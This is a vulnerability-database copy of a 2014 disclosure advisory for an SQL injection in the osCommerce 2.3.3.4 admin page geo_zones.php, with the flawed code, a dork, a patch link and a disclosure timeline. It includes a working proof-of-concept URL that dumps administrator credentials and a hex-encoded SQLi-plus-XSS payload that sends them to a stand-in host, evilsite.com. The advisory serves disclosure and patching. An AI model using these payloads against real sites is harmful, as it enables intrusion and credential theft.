Lucene search
K

osCommerce 2.3.3.4 - (geo_zones.php, zID param) - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

osCommerce v2.x SQL Injection Vulnerability in "geo_zones.php" allows attackers to steal administrator username and password, requiring a quick fix patch for mitigation

Code

                                                # Title: osCommerce v2.x SQL Injection Vulnerability
# Dork: Powered by osCommerce
# Author: Ahmed Aboul-Ela
# Contact: ahmed.aboul3la[at]gmail[dot]com - http://twitter.com/_secgeek
# Vendor : http://www.oscommerce.com
# Version: v2.3.3.4 (current latest release) and prior versions should be affected too 
# References: http://www.secgeek.net/oscommerce-v2x-sql-injection-vulnerability

- Vulnerable Code snippet in "catalog/admin/geo_zones.php":

 <?php
 [...]
 LINE 138: $rows = 0;
 LINE 139: $zones_query_raw = "select a.association_id, a.zone_country_id, c.countries_name, a.zone_id, a.geo_zone_id, a.last_modified, 
 a.date_added, z.zone_name from " . TABLE_ZONES_TO_GEO_ZONES . " a left join " . TABLE_COUNTRIES . " c on a.zone_country_id = c.countries_id 
 left join " . TABLE_ZONES . " z on a.zone_id = z.zone_id where a.geo_zone_id = " . $HTTP_GET_VARS['zID'] . " order by association_id";
 LINE 140: $zones_split = new splitPageResults($HTTP_GET_VARS['spage'], MAX_DISPLAY_SEARCH_RESULTS, $zones_query_raw, $zones_query_numrows);
 LINE 141: $zones_query = tep_db_query($zones_query_raw);
 [...]
 ?>    
 
   As we can see at line 139 the GET zID parameter directly concatenated with the sql query 
   without any type of sanitization which leads directly to sql injection vulnerability


- Proof of Concept ( dump the admin username and password ): 

   http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID=1 group by 1 union select 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password) from administrators --


- Exploitation & Attack Scenario:

   an  authenticated admin account is required to successfully exploit the vulnerability
   but it can be combined with other attack vectors like XSS / CSRF to achieve more dangerous successful remote attack  

   Example to steal the administrator username & password and send it to php logger at "http://evilsite.com/logger.php?log=[ADMIN USER:HASH]"

   We can use hybrid attack technique ( SQL Injection + XSS ) :

    http://site.com/oscommerce/catalog/admin/geo_zones.php?action=list&zID= 1 group by 1 union select 1,2,3,4,5,6,7,concat(0x3c6469762069643d2274657374223e,user_name,0x3d,user_password,0x3c2f6469763e3c7363726970743e646f63756d656e742e6c6f636174696f6e2e687265663d22687474703a2f2f6576696c736974652e636f6d2f6c6f676765722e7068703f6c6f673d222b242822237465737422292e68746d6c28293c2f7363726970743e) from administrators --


- Mitigation:
  
   The vendor has released a quick fix for the vulnerability. It is strongly recommended to apply the patch now

    https://github.com/gburton/oscommerce2/commit/e4d90eccd7d9072ebe78da4c38fb048bfe31c902 


- Time-Line:

    Mon, Feb 3, 2014 at 10:17 PM: vulnerability advisory sent to osCommerce
    Tue, Feb 4, 2014 at 01:14 AM: recevied initial reply from osCommerce 
    Tue, Feb 4, 2014 at 02:06 AM: osCommerce released a quick fix for the vulnerability
    Thu, Feb 6, 2014 at 05:15 PM: the public responsible disclosure


- Credits:

    Ahmed Aboul-Ela - Information Security Consultant @ Starware 


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation